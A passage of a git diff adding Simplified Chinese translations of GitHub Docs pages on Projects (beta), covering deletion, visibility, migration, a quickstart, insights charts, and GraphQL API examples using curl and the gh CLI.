+4. 单击“保存更改”。 diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-projects.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-projects.md new file mode 100644 index 0000000000..b8bd5bfc23 --- /dev/null +++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-projects.md @@ -0,0 +1,48 @@ +--- +title: 管理项目(beta 版本) +intro: 可关闭再重新打开项目,也可永久删除项目。 +allowTitleToDifferFromFilename: true +miniTocMaxHeadingLevel: 2 +versions: + fpt: '*' + ghec: '*' +topics: +- Projects +- Organizations +ms.openlocfilehash: 04910fd85d28fd525f3bbfbfa931fd13b9e8874f +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "146139360" +--- +## 删除项目 + +可删除项目以永久移除它。 + +{% data reusables.projects.project-settings %} +1. 在页面底部,单击“删除此项目”。 + ![显示项目删除按钮的屏幕截图](/assets/images/help/issues/delete-project-button.png) +1. 阅读警告,然后在文本框中键入项目的名称。 + ![显示项目删除确认消息的屏幕截图](/assets/images/help/issues/project-delete-confirm.png) +1. 单击“我了解后果,删除此项目”。 + +## 关闭项目 + +可关闭项目,这会将其从项目列表中删除,但保留内容,而且你以后能重新打开该项目。 + +{% data reusables.projects.project-settings %} +1. 在页面底部,单击“关闭此项目”。 + ![显示项目关闭按钮的屏幕截图](/assets/images/help/issues/close-project-button.png) + +## 重新打开组织项目 + +可重新打开以前关闭的项目。 + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.projects.reopen-a-project %} + +## 重新打开用户项目 + +可重新打开以前关闭的项目。 + +{% data reusables.profile.access_profile %} {% data reusables.projects.reopen-a-project %} diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects.md new file mode 100644 index 0000000000..10fef069e4 --- /dev/null +++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects.md @@ -0,0 +1,38 @@ +--- +title: 管理项目的可见性(测试版) +intro: 您可以控制谁可以查看您的项目。 +allowTitleToDifferFromFilename: true +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' +topics: +- Projects +- Organizations +ms.openlocfilehash: 85b586bbb86e8d6e286e86263eca3f44d174391f +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145128655" +--- +{% data reusables.projects.projects-beta %} + +## 关于项目可见性 + +项目(测试版)可以是公共的,也可以是私有的。 对于公共项目,互联网上的每个人都可以查看。 对于私有项目,只有被授予至少读取访问权限的用户才能查看。 + +只有项目可见性会受影响;要查看项目上的项,必须有人具有该项所属存储库所需的权限。 如果项目包含私有存储库中的项目,则不是存储库协作者的用户将无法查看该存储库中的项。 + +![包含隐藏项的项目](/assets/images/help/projects/hidden-items.png) + +只有项目管理员才能控制项目可见性。 + +在组织拥有的私有项目中,当前对项目进行更新的用户的头像将显示在项目 UI 中。 + +项目管理员还可以管理对其项目的写入和管理员访问权限,并控制单个用户的读取访问权限。 有关详细信息,请参阅“[管理对项目的访问](/issues/trying-out-the-new-projects-experience/managing-access-to-projects)”。 + +## 更改项目可见性 + +{% data reusables.projects.project-settings %} +1. 在“可见性”下,选择“专用”或“公共” 。 diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/migrating-your-project.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/migrating-your-project.md new file mode 100644 index 0000000000..33b708c32a --- /dev/null +++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/migrating-your-project.md @@ -0,0 +1,62 @@ +--- +title: 将项目迁移到 Projects(beta 版本) +intro: 可以将项目从旧项目体验迁移到 Projects(beta 版本)。 +allowTitleToDifferFromFilename: true +miniTocMaxHeadingLevel: 2 +versions: + fpt: '*' + ghec: '*' +topics: +- Projects +- Organizations +ms.openlocfilehash: 9361f3f28d3d365ecbb6053e908644cc8f34f1d0 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "147079777" +--- +{% note %} + +**注意:** + +- Projects(beta 版本)目前为公共测试版,可能会更改。 +- 如果你要迁移的项目包含超过 1200 个项,则未结的问题将优先,接着是未解决的拉取请求,然后是注释。 剩余的空间将用于已解决的问题、已合并的请求拉取和已解决的拉取请求。 由于此限制而无法迁移的项将被移动到存档。 如果达到 10,000 个项的存档限制,则不会迁移其他项。 +- 注释卡被转换为草稿问题,内容被保存到草稿问题的正文中。 如果信息出现缺失,请使任何隐藏的字段可见。 有关详细信息,请参阅“[显示和隐藏字段](/issues/trying-out-the-new-projects-experience/customizing-your-project-views#showing-and-hiding-fields)”。 +- 不会迁移自动化。 +- 不会迁移会审、存档和活动。 +- 迁移后,新迁移的项目和旧项目不会保持同步。 + +{% endnote %} + +## 关于项目迁移 + +可以将项目板迁移到所有新 Projects(beta 版本)体验,并试用表、多个视图、新的自动化选项和强大的字段类型。 有关详细信息,请参阅“[关于项目(beta 版本)](/issues/trying-out-the-new-projects-experience/about-projects)”。 + +## 迁移组织项目板 + +{% data reusables.projects.enable-migration %} {% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.organization-wide-project %} +1. 在左侧,单击“Projects (经典)”。 + ![显示“Projects (经典)”菜单选项的屏幕截图}](/assets/images/help/issues/projects-classic-org.png) {% data reusables.projects.migrate-project-steps %} + +## 迁移用户项目板 + +{% data reusables.projects.enable-migration %} {% data reusables.profile.access_profile %} +1. 在个人资料页面顶部的主导航栏中,单击 {% octicon "project" aria-label="The project board icon" %}“项目”。 +![“项目”选项卡](/assets/images/help/projects/user-projects-tab.png) +1. 在项目列表上方,单击“Projects (经典)”。 + ![显示“Projects (经典)”菜单选项的屏幕截图}](/assets/images/help/issues/projects-classic-user.png) {% data reusables.projects.migrate-project-steps %} + +## 迁移存储库项目板 + +{% note %} + +注意:Projects(beta 版本)不支持存储库级别的项目。 当你迁移存储库项目板时,它将迁移到拥有存储库项目的组织或个人帐户,并且迁移的项目将被固定到原始存储库。 + +{% endnote %} + +{% data reusables.projects.enable-migration %} {% data reusables.repositories.navigate-to-repo %} +1. 在存储库名称下,单击 {% octicon "project" aria-label="The project board icon" %}“项目”。 +![“项目”选项卡](/assets/images/help/projects/repo-tabs-projects.png) +1. 单击“Projects (经典)”。 + ![显示“Projects (经典)”菜单选项的屏幕截图}](/assets/images/help/issues/projects-classic-org.png) {% data reusables.projects.migrate-project-steps %} diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/quickstart.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/quickstart.md new file mode 100644 index 0000000000..07354d32ef --- /dev/null +++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/quickstart.md @@ -0,0 +1,171 @@ +--- +title: 项目快速开始(测试版) +intro: 通过在此交互式指南中创建项目来体验项目(测试版)的速度、灵活性和自定义。 +allowTitleToDifferFromFilename: true +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' +type: quick_start +topics: +- Projects +ms.openlocfilehash: 3baf341d38b59e20e6fe1e677e338d6bec1d57da +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145128651" +--- +{% data reusables.projects.projects-beta %} + +## 简介 + +本指南演示如何使用项目(测试版)规划和跟踪工作。 在本指南中,您将创建一个新项目,并添加自定义字段来跟踪任务的优先级。 您还将学习如何创建保存的视图,帮助您与协作者交流优先事项和进度。 + +## 先决条件 + +您可以创建组织项目或用户项目。 要创建组织项目,您需要一个 {% data variables.product.prodname_dotcom %} 组织。 有关创建组织的详细信息,请参阅“[从头开始创建新组织](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)”。 + +在本指南中,您将把组织拥有的存储库(对于组织项目)或您拥有的存储库(对于用户项目)的现有议题添加到新项目中。 有关创建问题的详细信息,请参阅“[创建问题](/issues/tracking-your-work-with-issues/creating-an-issue)”。 + +## 创建项目 + +首先,创建组织项目或用户项目。 + +### 创建组织项目 + +{% data reusables.projects.create-project %} + +### 创建用户项目 + +{% data reusables.projects.create-user-project %} + +## 设置项目描述和 README + +{% data reusables.projects.project-description %} + +## 为您的项目添加议题 + +接下来,在项目中添加一些议题。 + +当您的新项目初始化时,它会提示您为项目添加事项。 如果您丢失此视图或想稍后添加更多议题,请将光标放在项目底部一行 {% octicon "plus" aria-label="plus icon" %} 的旁边。 + +1. 键入 `#`。 +2. 选择议题所在的仓库。 要缩小选项范围,您可以开始键入仓库名称的一部分。 +3. 选择您的议题。 要缩小选项范围,您可以开始键入议题标题的一部分。 + +重复上述步骤几次,以向项目添加多个议题。 + +有关将问题添加到项目的其他方法或可以添加到项目的其他项的详细信息,请参阅“[创建项目](/issues/trying-out-the-new-projects-experience/creating-a-project#adding-items-to-your-project)”。 + +## 向项目添加草稿议题 + +接下来,将草稿议题添加到项目中。 + +1. 将光标放在项目底部一行,{% octicon "plus" aria-label="plus icon" %} 的旁边。 +1. 键入想法,然后按 Enter 键。 +1. 单击草稿议题的标题。 在出现的 Markdown 输入框中,输入有关你的想法的更多信息,然后单击“保存”。 + +## 创建字段来跟踪优先级 + +现在,创建一个名为 `Priority` 的自定义字段来包含以下值:`High`、`Medium` 或 `Low`。 + +1. {% data reusables.projects.open-command-palette %} +2. 开始键入 "Create new field" 的任何部分。 +3. 选择“创建新字段”。 +4. 在出现的弹出窗口文本框中输入 `Priority`。 +5. 在下拉列表中,选择“单选”。 +6. 添加 `High`、`Medium` 和 `Low` 选项。 您还可以在选项中包含表情符号。 + ![新建单选字段示例](/assets/images/help/projects/new-single-select-field.png) +7. 单击“ **保存**”。 + +指定项目中所有议题的优先级。 + +![示例优先级](/assets/images/help/projects/priority_example.png) + +## 按优先级对议题分组 + +接下来,按优先级对项目中的所有项进行分组,以便于专注于高优先级项。 + +1. {% data reusables.projects.open-command-palette %} +2. 开始键入 "Group by" 的任何部分。 +3. 选择“分组依据: 优先级”。 + +现在,在组之间移动议题以更改其优先级。 + +1. 选择议题. +2. 将议题拖放到另一个优先级组。 当您这样做时,议题的优先级将更改为其新组的优先级。 + +![在组之间移动议题](/assets/images/help/projects/move_between_group.gif) + +## 保存优先级视图 + +在上一步按优先级对议题分组时,项目显示一个指示来显示视图已修改。 保存这些更改,以便您的协作者也能看到按优先级分组的任务。 + +1. 选择视图名称旁边的下拉菜单。 +2. 单击“保存更改”。 + +要指示视图的目的,请给它一个描述性名称。 + +1. 将光标放在当前视图名称视图 1 上。 +2. 将现有文本替换为新名称 `Priorities`。 + +您可以与您的团队共享 URL,让每个人就项目优先级保持一致。 + +保存视图后,打开项目的任何人都将看到保存的视图。 在这里按优先级分组,但您还可以添加其他修饰符,如排序、筛选或布局。 接下来,您将创建一个修改了布局的新视图。 + +## 添加板布局 + +要查看项目议题的进度,您可以切换到板布局。 + +板布局基于状态字段,因此会指定项目中每个议题的状态。 + +![示例状态](/assets/images/help/projects/status_example.png) + +然后,创建新视图。 + +1. 单击最右侧视图旁边的“{% octicon "plus" aria-label="the plus icon" %} 新建视图”。 + +接下来,切换到板布局。 + +1. {% data reusables.projects.open-command-palette %} +2. 开始键入 "Switch layout: Board" 的任何部分。 +3. 选择“切换布局: 板”。 + ![示例优先级](/assets/images/help/projects/example_board.png) + +更改布局时,项目显示一个指示来显示视图已修改。 保存此视图,以便您和您的协作者能够轻松地访问它。 + +1. 选择视图名称旁边的下拉菜单。 +2. 单击“保存更改”。 + +要指示视图的目的,请给它一个描述性名称。 + +1. 将光标放在当前视图名称视图 2 上。 +2. 将现有文本替换为新名称 `Progress`。 + +![示例优先级](/assets/images/help/projects/project-view-switch.gif) + +## 配置内置自动化 + +最后,添加内置工作流,以在将项添加到项目时将状态设置为“待办”。 + +1. 在项目中,单击 {% octicon "workflow" aria-label="the workflow icon" %}。 +2. 在“默认工作流”下,单击“添加到项目的项” 。 +3. 在“何时”旁边,确保同时选择了 `issues` 和 `pull requests`。 +4. 在“设置”旁边,选择“状态: 待办” 。 +5. 单击“禁用”切换以启用工作流。 + +## 后续步骤 + +您可以将项目用于广泛的用途。 例如: + +- 跟踪发布工作 +- 计划冲刺 +- 优先处理积压工作 + +以下是一些帮助你对 {% data variables.product.prodname_github_issues %} 执行后续步骤的有用资源: + +- 若要提供有关项目(beta 版本)体验的反馈,请转到 [GitHub 反馈存储库](https://github.com/github/feedback/discussions/categories/issues-feedback)。 +- 若要详细了解项目如何帮助你进行规划和跟踪,请参阅“[关于项目](/issues/trying-out-the-new-projects-experience/about-projects)”。 +- 若要详细了解可添加到项目中的字段和项,请参阅“[创建项目](/issues/trying-out-the-new-projects-experience/creating-a-project)”。 +- 若要了解显示所需信息的更多方法,请参阅“[自定义项目视图](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)”。 diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/using-insights-with-projects.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/using-insights-with-projects.md new file mode 100644 index 0000000000..16b5f4b1fb --- /dev/null +++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/using-insights-with-projects.md @@ -0,0 +1,48 @@ +--- +title: 将见解用于项目(beta 版) +intro: 可以查看和自定义从项目数据生成的图表。 +allowTitleToDifferFromFilename: true +miniTocMaxHeadingLevel: 2 +versions: + fpt: '*' + ghec: '*' +topics: +- Projects +- Organizations +ms.openlocfilehash: b2e8f2bc76c584d4de33fe00da1fd95982f9d091 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "147064704" +--- +{% data reusables.projects.insights-alpha %} + +## 关于见解 + +可以使用见解来查看和自定义使用添加到项目中的项作为其源数据的图表。 默认的“燃起”图表显示一段时间内的项状态,使你能够可视化一段时间内的进度和发现模式。 + +![显示当前迭代的默认“燃起”图表示例的屏幕截图](/assets/images/help/issues/burnup-example.png) + +可以向该默认图表应用筛选器,也可以创建自己的图表。 创建图表时,可以设置筛选器、图表类型和显示的信息,并且任何可以查看项目的人都可以使用该图表。 + +![显示每个迭代项类型的堆积柱形图的屏幕截图](/assets/images/help/issues/column-chart-example.png) + +## 创建图表 + +{% data reusables.projects.access-insights %} +3. 在左侧菜单中,单击“新建图表”。 +4. (可选)要更改新图表的名称,请单击 {% octicon "triangle-down" aria-label="The triangle icon" %},键入新名称,然后按 Return。 +5. 在图表上方,键入筛选器以更改用于生成图表的数据。 有关详细信息,请参阅“[筛选项目](/issues/trying-out-the-new-projects-experience/filtering-projects)”。 +6. 在筛选器文本框的右侧,单击“保存更改”。 + +## 配置图表 + +{% data reusables.projects.access-insights %} +1. 在左侧菜单中,单击要配置的图表。 +1. 在页面右侧,单击“配置”。 一个面板随即在右侧打开。 +1. 若要更改图表类型,请选择“布局”下拉菜单并单击要使用的图表类型。 +1. 若要更改用于图表 X 轴的字段,请选择“X 轴”下拉菜单并单击要使用的字段。 +1. (可选)若要按另一个字段对 X 轴上的项进行分组,请选择“分组依据”,然后单击要使用的字段,或单击“无”以禁用分组。 +1. (可选)如果项目包含数字字段,并且你希望 Y 轴显示其中一个数字字段的总和、平均值、最小值或最大值,请选择“Y 轴”并单击一个选项。 然后,选择下方显示的下拉列表,单击要使用的数字字段。 +1. 若要保存图表,请单击“保存更改”。 diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md new file mode 100644 index 0000000000..7449c0d9e6 --- /dev/null +++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md @@ -0,0 +1,721 @@ +--- +title: 使用 API 管理项目(测试版) +intro: 您可以使用 GraphQL API 来查找有关项目的信息并更新项目。 +versions: + fpt: '*' + ghec: '*' +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +type: how_to +topics: +- Projects +ms.openlocfilehash: 0c15bc1b813fc6dbcfa2ea0dc3f60afe6f035793 +ms.sourcegitcommit: d243bbae4ce3c849695b5bc9221e705ee5a4a64f +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/12/2022 +ms.locfileid: "147081086" +--- +{% data reusables.projects.graphql-deprecation %} + +本文演示如何使用 GraphQL API 来管理项目。 有关如何在 {% data variables.product.prodname_actions %} 工作流中使用 API 的详细信息,请参阅“[自动化项目(测试版)](/issues/trying-out-the-new-projects-experience/automating-projects)”。 有关可用数据类型的完整列表,请参阅“[参考](/graphql/reference)”。 + +{% data reusables.projects.projects-beta %} + +## 身份验证 + +{% curl %} + +在所有下面的 cURL 示例中,将 `TOKEN` 替换为具有 `read:project` 范围(对于查询)或 `project` 范围(对于查询和突变)的令牌。 令牌可以是用户的个人访问令牌,也可以是 {% data variables.product.prodname_github_app %} 的安装访问令牌。 有关创建个人访问令牌的详细信息,请参阅“[创建个人访问令牌](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)”。 有关为 {% data variables.product.prodname_github_app %} 创建安装访问令牌的详细信息,请参阅“[使用 {% data variables.product.prodname_github_apps %} 进行身份验证](/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app)”。 + +{% endcurl %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +在运行 {% data variables.product.prodname_cli %} 命令之前,必须通过运行 `gh auth login --scopes "project"` 进行身份验证。 如果只需要阅读而不是编辑项目,则可以提供 `read:project` 范围而不是 `project`。 有关命令行身份验证的详细信息,请参阅“[gh auth login](https://cli.github.com/manual/gh_auth_login)”。 + +{% endcli %} + +{% cli %} + +## 使用变量 + +在以下所有示例中,您可以使用变量来简化脚本。 使用 `-F` 传递是数字、布尔值或空值的变量。 对其他变量使用 `-f`。 例如, + +```shell +my_org="octo-org" +my_num=5 +gh api graphql -f query=' + query($organization: String! $number: Int!){ + organization(login: $organization){ + projectV2(number: $number) { + id + } + } + }' -f organization=$my_org -F number=$my_num +``` + +有关详细信息,请参阅“[使用 GraphQL 形成调用](/graphql/guides/forming-calls-with-graphql#working-with-variables)”。 + +{% endcli %} + +## 查找项目信息 + +使用查询获取项目数据。 有关详细信息,请参阅“[关于查询](/graphql/guides/forming-calls-with-graphql#about-queries)”。 + +### 查找组织项目的节点 ID + +要通过 API 更新您的项目,您需要知道项目的节点 ID。 + +如果您知道组织名称和项目编号,则可以找到组织项目的节点 ID。 将 `ORGANIZATION` 替换为组织的名称。 例如,`octo-org`。 将 `NUMBER` 替换为项目编号。 要查找项目编号,请查看项目 URL。 例如,`https://github.com/orgs/octo-org/projects/5` 的项目编号为 5。 + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: token TOKEN' \ + --data '{"query":"query{organization(login: \"ORGANIZATION\") {projectV2(number: NUMBER){id}}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + query{ + organization(login: "ORGANIZATION"){ + projectV2(number: NUMBER) { + id + } + } + }' +``` +{% endcli %} + +您也可以在组织中找到所有项目的节点 ID。 下面的示例将返回组织中前 20 个项目的节点 ID 和标题。 将 `ORGANIZATION` 替换为组织的名称。 例如,`octo-org`。 + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: token TOKEN' \ + --data '{"query":"{organization(login: \"ORGANIZATION\") {projectsV2(first: 20) {nodes {id title}}}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + query{ + organization(login: "ORGANIZATION") { + projectsV2(first: 20) { + nodes { + id + title + } + } + } + }' +``` +{% endcli %} + +### 查找用户项目的节点 ID + +要通过 API 更新您的项目,您需要知道项目的节点 ID。 + +如果您知道项目编号,则可以找到用户项目的节点 ID。 请将 `USER` 替换为你的用户名。 例如,`octocat`。 将 `NUMBER` 替换为项目编号。 要查找项目编号,请查看项目 URL。 例如,`https://github.com/users/octocat/projects/5` 的项目编号为 5。 + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: token TOKEN' \ + --data '{"query":"query{user(login: \"USER\") {projectV2(number: NUMBER){id}}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + query{ + user(login: "USER"){ + projectV2(number: NUMBER) { + id + } + } + }' +``` +{% endcli %} + +您还可以找到所有项目的节点 ID。 以下示例将返回前 20 个项目的节点 ID 和标题。 将 `USER` 替换为你的用户名。 例如,`octocat`。 + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: token TOKEN' \ + --data '{"query":"{user(login: \"USER\") {projectsV2(first: 20) {nodes {id title}}}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + query{ + user(login: "USER") { + projectsV2(first: 20) { + nodes { + id + title + } + } + } + }' +``` +{% endcli %} + +### 查找字段的节点 ID + +要更新字段的值,您需要知道字段的节点 ID。 此外,您还需要知道单个选择字段的选项 ID 和迭代字段的迭代 ID。 + +以下示例将返回项目中前 20 个字段的 ID、名称、设置和配置。 将 `PROJECT_ID` 替换为项目的节点 ID。 + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: token TOKEN' \ + --data '{"query":"query{ node(id: \"PROJECT_ID\") { ... on ProjectV2 { fields(first: 20) { nodes { ... on ProjectV2Field { id name } ... on ProjectV2IterationField { id name configuration { iterations { startDate id }}} ... on ProjectV2SingleSelectField { id name options { id name }}}}}}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + query{ + node(id: "PROJECT_ID") { + ... on ProjectV2 { + fields(first: 20) { + nodes { + ... on ProjectV2Field { + id + name + } + ... on ProjectV2IterationField { + id + name + configuration { + iterations { + startDate + id + } + } + } + ... on ProjectV2SingleSelectField { + id + name + options { + id + name + } + } + } + } + } + } +}' +``` +{% endcli %} + +响应将如以下示例中所示: + +```json +{ + "data": { + "node": { + "fields": { + "nodes": [ + { + "id": "PVTF_lADOANN5s84ACbL0zgBZrZY", + "name": "Title" + }, + { + "id": "PVTF_lADOANN5s84ACbL0zgBZrZc", + "name": "Assignees" + }, + { + "id": "PVTSSF_lADOANN5s84ACbL0zgBZrZg", + "name": "Status", + "options": [ + { + "id": "f75ad846", + "name": "Todo" + }, + { + "id": "47fc9ee4", + "name": "In Progress" + }, + { + "id": "98236657", + "name": "Done" + } + ] + }, + { + "id": "PVTIF_lADOANN5s84ACbL0zgBah28", + "name": "Iteration", + "configuration": { + "iterations": [ + { + "startDate": "2022-05-29", + "id": "cfc16e4d" + } + ] + } + } + ] + } + } + } +} +``` + +每个字段都有一个 ID 和名称。 单选字段作为 `ProjectV2SingleSelectField` 对象返回,并有一个 `options` 字段,可以在其中找到单选每个选项的 ID。 迭代字段作为 `ProjectV2IterationField` 对象返回,并具有一个 `configuration` 字段,其中包括一个 `iterations` 字段,该字段包含有关每次迭代的 ID 和信息。 + +如果只需要字段的名称和 ID,而不需要有关迭代或单个选择字段选项的信息,则可以使用 `ProjectV2FieldCommon` 对象。 + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: token TOKEN' \ + --data '{"query":"query{ node(id: \"PROJECT_ID\") { ... on ProjectV2 { fields(first: 20) { nodes { ... on ProjectV2FieldCommon { id name }}}}}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + query{ + node(id: "PROJECT_ID") { + ... on ProjectV2 { + fields(first: 20) { + nodes { + ... on ProjectV2FieldCommon { + id + name + } + } + } + } + } +} +``` +{% endcli %} + +使用 `ProjectV2FieldCommon` 对象时的响应类似于以下示例: + +```json +{ + "data": { + "node": { + "fields": { + "nodes": [ + { + "__typename": "ProjectV2Field", + "id": "PVTF_lADOANN5s84ACbL0zgBZrZY", + "name": "Title" + }, + { + "__typename": "ProjectV2Field", + "id": "PVTF_lADOANN5s84ACbL0zgBZrZc", + "name": "Assignees" + }, + { + "__typename": "ProjectV2SingleSelectField", + "id": "PVTSSF_lADOANN5s84ACbL0zgBZrZg", + "name": "Status" + }, + { + "__typename": "ProjectV2IterationField", + "id": "PVTIF_lADOANN5s84ACbL0zgBah28", + "name": "Iteration" + } + ] + } + } + } +} +``` + +### 查找项目中各项的信息 + +您可以查询 API 来查找项目中各项的信息。 + +以下示例将返回项目中的前 20 个问题、拉取请求和草稿问题。 对于问题和拉取请求,它还将返回标题和前 10 个被分派人。 对于草稿问题,它将返回标题和正文。 该示例还将返回项目前 8 个字段中任何文本、日期或单个选择字段的字段名称和值。 将 `PROJECT_ID` 替换为项目的节点 ID。 + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: token TOKEN' \ + --data '{"query":"query{ node(id: \"PROJECT_ID\") { ... on ProjectV2 { items(first: 20) { nodes{ id fieldValues(first: 8) { nodes{ ... on ProjectV2ItemFieldTextValue { text field { ... on ProjectV2FieldCommon { name }}} ... on ProjectV2ItemFieldDateValue { date field { ... on ProjectV2FieldCommon { name } } } ... on ProjectV2ItemFieldSingleSelectValue { name field { ... on ProjectV2FieldCommon { name }}}}} content{ ... on DraftIssue { title body } ...on Issue { title assignees(first: 10) { nodes{ login }}} ...on PullRequest { title assignees(first: 10) { nodes{ login }}}}}}}}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + query{ + node(id: "PROJECT_ID") { + ... on ProjectV2 { + items(first: 20) { + nodes{ + id + fieldValues(first: 8) { + nodes{ + ... on ProjectV2ItemFieldTextValue { + text + field { + ... on ProjectV2FieldCommon { + name + } + } + } + ... on ProjectV2ItemFieldDateValue { + date + field { + ... on ProjectV2FieldCommon { + name + } + } + } + ... on ProjectV2ItemFieldSingleSelectValue { + name + field { + ... on ProjectV2FieldCommon { + name + } + } + } + } + } + content{ + ... on DraftIssue { + title + body + } + ...on Issue { + title + assignees(first: 10) { + nodes{ + login + } + } + } + ...on PullRequest { + title + assignees(first: 10) { + nodes{ + login + } + } + } + } + } + } + } + } + }' +``` +{% endcli %} + +项目可能包含用户无权查看的项。 在这种情况下,项目类型将返回为 `REDACTED`。 + +## 更新项目 + +使用突变来更新项目。 有关详细信息,请参阅“[关于变更](/graphql/guides/forming-calls-with-graphql#about-mutations)”。 + +{% note %} + +注意:你不能在同一调用中添加和更新项。 你必须使用 `addProjectV2ItemById` 来添加项,然后使用 `updateProjectV2ItemFieldValue` 来更新项。 + +{% endnote %} + +### 添加项到项目 + +以下示例将向您的项目添加议题或拉取请求。 将 `PROJECT_ID` 替换为项目的节点 ID。 将 `CONTENT_ID` 替换为议题的节点 ID 或你想要添加的拉取请求。 + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: token TOKEN' \ + --data '{"query":"mutation {addProjectV2ItemById(input: {projectId: \"PROJECT_ID\" contentId: \"CONTENT_ID\"}) {item {id}}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + mutation { + addProjectV2ItemById(input: {projectId: "PROJECT_ID" contentId: "CONTENT_ID"}) { + item { + id + } + } + }' +``` +{% endcli %} + +响应将包含新建项目的节点 ID。 + +```json +{ + "data": { + "addProjectV2ItemById": { + "item": { + "id": "PVTI_lADOANN5s84ACbL0zgBVd94" + } + } + } +} +``` + +如果您尝试添加已经存在的项,则返回现有项 ID。 + +### 向项目添加草稿问题 + +以下示例将向项目添加草稿问题。 将 `PROJECT_ID` 替换为项目的节点 ID。 将 `TITLE` 和 `BODY` 替换为新草稿问题所需的内容。 + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: token TOKEN' \ + --data '{"query":"mutation {addProjectV2DraftIssue(input: {projectId: "PROJECT_ID" title: "TITLE" body: "BODY"}) {item {id}}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + mutation { + addProjectV2DraftIssue(input: {projectId: "PROJECT_ID" title: "TITLE" body: "BODY"}) { + item { + id + } + } + }' +``` +{% endcli %} + +响应将包含新建的草稿问题的节点 ID。 + +```json +{ + "data": { + "addProjectV2ItemById": { + "item": { + "id": "PVTI_lADOANN5s84ACbL0zgBbxFc" + } + } + } +} +``` + +### 更新项目的设置 + +以下示例将更新项目的设置。 将 `PROJECT_ID` 替换为项目的节点 ID。 将 `public` 设置为 `true`,以便在 {% data variables.product.product_name %} 上公开你的项目。 修改 `readme` 以对项目的 README 进行更改。 + +{% curl %} +```shell +curl --request POST \ +--url https://api.github.com/graphql \ +--header 'Authorization: token TOKEN' \ +--data '{"query":"mutation { updateProjectV2(input: { projectId: \"PROJECT_ID\", title: \"Project title\", public: false, readme: \"# Project README\n\nA long description\", shortDescription: \"A short description\"}) { projectV2 { id, title, readme, shortDescription }}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + mutation { + updateProjectV2( + input: { + projectId: "PROJECT_ID", + title: "Project title", + public: false, + readme: "# Project README\n\nA long description", + shortDescription: "A short description" + } + ) { + projectV2 { + id + title + readme + shortDescription + } + } + }' +``` +{% endcli %} + +### 更新自定义文本、数字或日期字段 + +以下示例将更新项目的文本字段的值。 将 